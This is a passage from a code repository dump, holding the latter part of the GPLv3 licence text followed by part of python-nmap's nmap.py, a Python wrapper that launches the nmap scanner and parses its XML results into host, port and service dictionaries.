285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/modules/nmap/nmap.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | nmap.py - version and date, see below
6 |
7 | Source code : https://bitbucket.org/xael/python-nmap
8 |
9 | Author :
10 |
11 | * Alexandre Norman - norman at xael.org
12 |
13 | Contributors:
14 |
15 | * Steve 'Ashcrow' Milner - steve at gnulinux.net
16 | * Brian Bustin - brian at bustin.us
17 | * old.schepperhand
18 | * Johan Lundberg
19 | * Thomas D. maaaaz
20 | * Robert Bost
21 | * David Peltier
22 | * Ed Jones
23 |
24 | Licence: GPL v3 or any later version for python-nmap
25 |
26 |
27 | This program is free software: you can redistribute it and/or modify
28 | it under the terms of the GNU General Public License as published by
29 | the Free Software Foundation, either version 3 of the License, or
30 | any later version.
31 |
32 | This program is distributed in the hope that it will be useful,
33 | but WITHOUT ANY WARRANTY; without even the implied warranty of
34 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
35 | GNU General Public License for more details.
36 |
37 | You should have received a copy of the GNU General Public License
38 | along with this program. If not, see .
39 |
40 |
41 | **************
42 | IMPORTANT NOTE
43 | **************
44 |
45 | The Nmap Security Scanner used by python-nmap is distributed
46 | under it's own licence that you can find at https://svn.nmap.org/nmap/COPYING
47 |
48 | Any redistribution of python-nmap along with the Nmap Security Scanner
49 | must conform to the Nmap Security Scanner licence
50 |
51 | """
52 | import csv
53 | import io
54 | import os
55 | import re
56 | import shlex
57 | import subprocess
58 | import sys
59 | from multiprocessing import Process
60 | from xml.etree import ElementTree as ET
61 |
62 |
63 | __author__ = "Alexandre Norman (norman@xael.org)"
64 | __version__ = "0.7.1"
65 | __last_modification__ = "2021.10.26"
66 |
67 |
68 | ############################################################################
69 |
70 |
71 | class PortScanner(object):
72 | """
73 | PortScanner class allows to use nmap from python
74 |
75 | """
76 |
77 | def __init__(
78 | self,
79 | nmap_search_path=(
80 | "nmap",
81 | "/usr/bin/nmap",
82 | "/usr/local/bin/nmap",
83 | "/sw/bin/nmap",
84 | "/opt/local/bin/nmap",
85 | ),
86 | ):
87 | """
88 | Initialize PortScanner module
89 |
90 | * detects nmap on the system and nmap version
91 | * may raise PortScannerError exception if nmap is not found in the path
92 |
93 | :param nmap_search_path: tupple of string where to search for nmap executable.
94 | Change this if you want to use a specific version of nmap.
95 | :returns: nothing
96 |
97 | """
98 | self._nmap_path = "" # nmap path
99 | self._scan_result = {}
100 | self._nmap_version_number = 0 # nmap version number
101 | self._nmap_subversion_number = 0 # nmap subversion number
102 | self._nmap_last_output = "" # last full ascii nmap output
103 | is_nmap_found = False # true if we have found nmap
104 |
105 | self.__process = None
106 |
107 | # regex used to detect nmap (http or https)
108 | regex = re.compile(r"Nmap version [0-9]*\.[0-9]*[^ ]* \( http(|s)://.* \)")
109 | # launch 'nmap -V', we wait after
110 | # > 'Nmap version 5.0 ( http://nmap.org )'
111 | # This is for Mac OSX. When idle3 is launched from the finder, PATH is not set so nmap was not found
112 | for nmap_path in nmap_search_path:
113 | try:
114 | if (
115 | sys.platform.startswith("freebsd")
116 | or sys.platform.startswith("linux")
117 | or sys.platform.startswith("darwin")
118 | ):
119 | p = subprocess.Popen(
120 | [nmap_path, "-V"],
121 | bufsize=10000,
122 | stdout=subprocess.PIPE,
123 | close_fds=True,
124 | )
125 | else:
126 | p = subprocess.Popen(
127 | [nmap_path, "-V"], bufsize=10000, stdout=subprocess.PIPE
128 | )
129 |
130 | except OSError:
131 | pass
132 | else:
133 | self._nmap_path = nmap_path # save path
134 | break
135 | else:
136 | raise PortScannerError(
137 | f"nmap program was not found in path. PATH is : {os.getenv('PATH')}"
138 | )
139 |
140 | self._nmap_last_output = bytes.decode(p.communicate()[0]) # sav stdout
141 | for line in self._nmap_last_output.split(os.linesep):
142 | if regex.match(line) is not None:
143 | is_nmap_found = True
144 | # Search for version number
145 | regex_version = re.compile("[0-9]+")
146 | regex_subversion = re.compile(r"\.[0-9]+")
147 |
148 | rv = regex_version.search(line)
149 | rsv = regex_subversion.search(line)
150 |
151 | if rv is not None and rsv is not None:
152 | # extract version/subversion
153 | self._nmap_version_number = int(line[rv.start() : rv.end()])
154 | self._nmap_subversion_number = int(
155 | line[rsv.start() + 1 : rsv.end()]
156 | )
157 | break
158 |
159 | if not is_nmap_found:
160 | raise PortScannerError("nmap program was not found in path")
161 |
162 | return
163 |
164 | def get_nmap_last_output(self):
165 | """
166 | Returns the last text output of nmap in raw text
167 | this may be used for debugging purpose
168 |
169 | :returns: string containing the last text output of nmap in raw text
170 | """
171 | return self._nmap_last_output
172 |
173 | def nmap_version(self):
174 | """
175 | returns nmap version if detected (int version, int subversion)
176 | or (0, 0) if unknown
177 | :returns: (nmap_version_number, nmap_subversion_number)
178 | """
179 | return (self._nmap_version_number, self._nmap_subversion_number)
180 |
181 | def listscan(self, hosts="127.0.0.1"):
182 | """
183 | do not scan but interpret target hosts and return a list a hosts
184 | """
185 | assert (
186 | type(hosts) is str
187 | ), f"Wrong type for [hosts], should be a string [was {type(hosts)}]"
188 | output = self.scan(hosts, arguments="-sL")
189 | # Test if host was IPV6
190 | if (
191 | "scaninfo" in output["nmap"]
192 | and "error" in output["nmap"]["scaninfo"]
193 | and len(output["nmap"]["scaninfo"]["error"]) > 0
194 | and "looks like an IPv6 target specification"
195 | in output["nmap"]["scaninfo"]["error"][0]
196 | ): # noqa
197 | self.scan(hosts, arguments="-sL -6")
198 |
199 | return self.all_hosts()
200 |
201 | def scan( # NOQA: CFQ001, C901
202 | self, hosts="127.0.0.1", ports=None, arguments="-sV", sudo=False, timeout=0
203 | ):
204 | """
205 | Scan given hosts
206 |
207 | May raise PortScannerError exception if nmap output was not xml
208 |
209 | Test existance of the following key to know
210 | if something went wrong : ['nmap']['scaninfo']['error']
211 | If not present, everything was ok.
212 |
213 | :param hosts: string for hosts as nmap use it 'scanme.nmap.org' or '198.116.0-255.1-127' or '216.163.128.20/20'
214 | :param ports: string for ports as nmap use it '22,53,110,143-4564'
215 | :param arguments: string of arguments for nmap '-sU -sX -sC'
216 | :param sudo: launch nmap with sudo if True
217 | :param timeout: int, if > zero, will terminate scan after seconds, otherwise will wait indefintely
218 |
219 | :returns: scan_result as dictionnary
220 | """
221 | if sys.version_info[0] == 2:
222 | assert type(hosts) in (
223 | str,
224 | ), f"Wrong type for [hosts], should be a string [was {type(hosts)}]"
225 |
226 | assert type(ports) in (
227 | str,
228 | type(None),
229 | ), f"Wrong type for [ports], should be a string [was {type(ports)}]"
230 | assert type(arguments) in (
231 | str,
232 | ), f"Wrong type for [arguments], should be a string [was {type(arguments)}]"
233 | else:
234 | assert (
235 | type(hosts) is str
236 | ), f"Wrong type for [hosts], should be a string [was {type(hosts)}]"
237 | assert type(ports) in (
238 | str,
239 | type(None),
240 | ), f"Wrong type for [ports], should be a string [was {type(ports)}]"
241 | assert (
242 | type(arguments) is str
243 | ), f"Wrong type for [arguments], should be a string [was {type(arguments)}]"
244 |
245 | for redirecting_output in ["-oX", "-oA"]:
246 | assert (
247 | redirecting_output not in arguments
248 | ), "Xml output can't be redirected from command line.\nYou can access it after a scan using:\nnmap.nm.get_nmap_last_output()" # noqa
249 |
250 | h_args = shlex.split(hosts)
251 | f_args = shlex.split(arguments)
252 |
253 | # Launch scan
254 | args = (
255 | [self._nmap_path, "-oX", "-"]
256 | + h_args
257 | + ["-p", ports] * (ports is not None)
258 | + f_args
259 | )
260 | if sudo:
261 | args = ["sudo"] + args
262 |
263 | p = subprocess.Popen(
264 | args,
265 | bufsize=100000,
266 | stdin=subprocess.PIPE,
267 | stdout=subprocess.PIPE,
268 | stderr=subprocess.PIPE,
269 | )
270 |
271 | # wait until finished
272 | # get output
273 | # Terminate after user timeout
274 | if timeout == 0:
275 | (self._nmap_last_output, nmap_err) = p.communicate()
276 | else:
277 | try:
278 | (self._nmap_last_output, nmap_err) = p.communicate(timeout=timeout)
279 | except subprocess.TimeoutExpired:
280 | p.kill()
281 | raise PortScannerTimeout("Timeout from nmap process")
282 |
283 | nmap_err = bytes.decode(nmap_err)
284 |
285 | # If there was something on stderr, there was a problem so abort... in
286 | # fact not always. As stated by AlenLPeacock :
287 | # This actually makes python-nmap mostly unusable on most real-life
288 | # networks -- a particular subnet might have dozens of scannable hosts,
289 | # but if a single one is unreachable or unroutable during the scan,
290 | # nmap.scan() returns nothing. This behavior also diverges significantly
291 | # from commandline nmap, which simply stderrs individual problems but
292 | # keeps on trucking.
293 |
294 | nmap_err_keep_trace = []
295 | nmap_warn_keep_trace = []
296 | if len(nmap_err) > 0:
297 | regex_warning = re.compile("^Warning: .*", re.IGNORECASE)
298 | for line in nmap_err.split(os.linesep):
299 | if len(line) > 0:
300 | rgw = regex_warning.search(line)
301 | if rgw is not None:
302 | nmap_warn_keep_trace.append(line + os.linesep)
303 | else:
304 | nmap_err_keep_trace.append(nmap_err)
305 |
306 | return self.analyse_nmap_xml_scan(
307 | nmap_xml_output=self._nmap_last_output,
308 | nmap_err=nmap_err,
309 | nmap_err_keep_trace=nmap_err_keep_trace,
310 | nmap_warn_keep_trace=nmap_warn_keep_trace,
311 | )
312 |
313 | def analyse_nmap_xml_scan( # NOQA: CFQ001, C901
314 | self,
315 | nmap_xml_output=None,
316 | nmap_err="",
317 | nmap_err_keep_trace="",
318 | nmap_warn_keep_trace="",
319 | ):
320 | """
321 | Analyses NMAP xml scan ouput
322 |
323 | May raise PortScannerError exception if nmap output was not xml
324 |
325 | Test existance of the following key to know if something went wrong : ['nmap']['scaninfo']['error']
326 | If not present, everything was ok.
327 |
328 | :param nmap_xml_output: xml string to analyse
329 | :returns: scan_result as dictionnary
330 | """
331 |
332 | # nmap xml output looks like :
333 | #
334 | #
335 | #
336 | #
337 | #
338 | #
339 | #
340 | #
341 | #
342 | #
343 | #
344 | #
345 | #
346 | #
347 | #
348 | # # NOQA: E501
349 | # # NOQA: E501
350 | #
351 | #
352 | #
353 | #
354 |
355 | #
356 | #
357 | #
358 | # cpe:/a:exim:exim:4.76
359 | #
360 | # # NOQA: E501
361 | #
362 |
363 | if nmap_xml_output is not None:
364 | self._nmap_last_output = nmap_xml_output
365 |
366 | scan_result = {}
367 |
368 | try:
369 | dom = ET.fromstring(self._nmap_last_output)
370 | except Exception:
371 | if len(nmap_err) > 0:
372 | raise PortScannerError(nmap_err)
373 | else:
374 | raise PortScannerError(self._nmap_last_output)
375 |
376 | # nmap command line
377 | scan_result["nmap"] = {
378 | "command_line": dom.get("args"),
379 | "scaninfo": {},
380 | "scanstats": {
381 | "timestr": dom.find("runstats/finished").get("timestr"),
382 | "elapsed": dom.find("runstats/finished").get("elapsed"),
383 | "uphosts": dom.find("runstats/hosts").get("up"),
384 | "downhosts": dom.find("runstats/hosts").get("down"),
385 | "totalhosts": dom.find("runstats/hosts").get("total"),
386 | },
387 | }
388 |
389 | # if there was an error
390 | if len(nmap_err_keep_trace) > 0:
391 | scan_result["nmap"]["scaninfo"]["error"] = nmap_err_keep_trace
392 |
393 | # if there was a warning
394 | if len(nmap_warn_keep_trace) > 0:
395 | scan_result["nmap"]["scaninfo"]["warning"] = nmap_warn_keep_trace
396 |
397 | # info about scan
398 | for dsci in dom.findall("scaninfo"):
399 | scan_result["nmap"]["scaninfo"][dsci.get("protocol")] = {
400 | "method": dsci.get("type"),
401 | "services": dsci.get("services"),
402 | }
403 |
404 | scan_result["scan"] = {}
405 |
406 | for dhost in dom.findall("host"):
407 | # host ip, mac and other addresses
408 | host = None
409 | address_block = {}
410 | vendor_block = {}
411 | for address in dhost.findall("address"):
412 | addtype = address.get("addrtype")
413 | address_block[addtype] = address.get("addr")
414 | if addtype == "ipv4":
415 | host = address_block[addtype]
416 | elif addtype == "mac" and address.get("vendor") is not None:
417 | vendor_block[address_block[addtype]] = address.get("vendor")
418 |
419 | if host is None:
420 | host = dhost.find("address").get("addr")
421 |
422 | hostnames = []
423 | if len(dhost.findall("hostnames/hostname")) > 0:
424 | for dhostname in dhost.findall("hostnames/hostname"):
425 | hostnames.append(
426 | {"name": dhostname.get("name"), "type": dhostname.get("type")}
427 | )
428 | else:
429 | hostnames.append({"name": "", "type": ""})
430 |
431 | scan_result["scan"][host] = PortScannerHostDict({"hostnames": hostnames})
432 |
433 | scan_result["scan"][host]["addresses"] = address_block
434 | scan_result["scan"][host]["vendor"] = vendor_block
435 |
436 | for dstatus in dhost.findall("status"):
437 | # status : up...
438 | scan_result["scan"][host]["status"] = {
439 | "state": dstatus.get("state"),
440 | "reason": dstatus.get("reason"),
441 | }
442 | for dstatus in dhost.findall("uptime"):
443 | # uptime : seconds, lastboot
444 | scan_result["scan"][host]["uptime"] = {
445 | "seconds": dstatus.get("seconds"),
446 | "lastboot": dstatus.get("lastboot"),
447 | }
448 | for dport in dhost.findall("ports/port"):
449 | # protocol
450 | proto = dport.get("protocol")
451 | # port number converted as integer
452 | port = int(dport.get("portid"))
453 | # state of the port
454 | state = dport.find("state").get("state")
455 | # reason
456 | reason = dport.find("state").get("reason")
457 | # name, product, version, extra info and conf if any
458 | name = product = version = extrainfo = conf = cpe = ""
459 | for dname in dport.findall("service"):
460 | name = dname.get("name")
461 | if dname.get("product"):
462 | product = dname.get("product")
463 | if dname.get("version"):
464 | version = dname.get("version")
465 | if dname.get("extrainfo"):
466 | extrainfo = dname.get("extrainfo")
467 | if dname.get("conf"):
468 | conf = dname.get("conf")
469 |
470 | for dcpe in dname.findall("cpe"):
471 | cpe = dcpe.text
472 | # store everything
473 | if proto not in list(scan_result["scan"][host].keys()):
474 | scan_result["scan"][host][proto] = {}
475 |
476 | scan_result["scan"][host][proto][port] = {
477 | "state": state,
478 | "reason": reason,
479 | "name": name,
480 | "product": product,
481 | "version": version,
482 | "extrainfo": extrainfo,
483 | "conf": conf,
484 | "cpe": cpe,
485 | }
486 | script_id = ""
487 | script_out = ""
488 | # get script output if any
489 | for dscript in dport.findall("script"):
490 | script_id = dscript.get("id")
491 | script_out = dscript.get("output")
492 | if "script" not in list(
493 | scan_result["scan"][host][proto][port].keys()
494 | ):
495 | scan_result["scan"][host][proto][port]["script"] = {}
496 |
497 | scan_result["scan"][host][proto][port]["script"][
498 | script_id
499 | ] = script_out
500 |
501 | #
502 | # # NOQA: E501
503 | # # NOQA: E501
504 | #
505 | #
506 | for dhostscript in dhost.findall("hostscript"):
507 | for dname in dhostscript.findall("script"):
508 | hsid = dname.get("id")
509 | hsoutput = dname.get("output")
510 |
511 | if "hostscript" not in list(scan_result["scan"][host].keys()):
512 | scan_result["scan"][host]["hostscript"] = []
513 |
514 | scan_result["scan"][host]["hostscript"].append(
515 | {"id": hsid, "output": hsoutput}
516 | )
517 |
518 | #
